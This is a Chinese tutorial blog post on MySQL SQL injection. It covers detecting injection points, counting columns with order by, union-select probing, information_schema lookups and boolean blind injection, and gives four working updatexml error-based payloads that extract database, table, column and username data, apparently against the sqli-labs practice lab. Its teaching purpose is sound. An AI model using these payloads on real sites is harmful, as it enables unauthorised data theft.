#常见漏洞解析—SQL注入-2

如何判断是否有SQL注入的漏洞:

一般判断注点方法:

And 1=1 页面正常     

And 1=2 页面错误可能存在注入点

猜解列明数量(字段数):

在后面使用order by X ,猜错误与正常的临界点

报错猜解准备:

在后面使用union select 1,2,3,4,…,数字前面加上“-”号或者数字后面加上“and x=y”,不等式结尾加上‘‘--+”,然后在报错的数字上去查询信息

信息收集:

数据库版本:version() -----5.0以上为高版本

数据库名字:database()

数据库用户:user()

数据库系统:@@version_compile_os查询所有数据库:group_concat(schema_name) from information_schema.schemataInformation_schema.table

记录所有表名信息的表Information_schema.columns

记录所有列名信息的表Table_schema

数据库名Table_name:表名Columns_name

列名布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

updatexml()报错注入:

?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- - 爆出数据库

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+ 爆出表

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+ 爆出users表的字段

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+ 爆出username字段的值  

知识点:1.在MySQL5.0以上版本中,MySQL数据库存在一个自带数据库名为information_schema,它是一个存储所有数据库名、表名、列名的数据库,相当于可以通过查询它来获取数据库的所以表名和列名2.数据库的”.”表示下一级,比如aaa.bbb表示aaa数据库下面的bbb表名

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值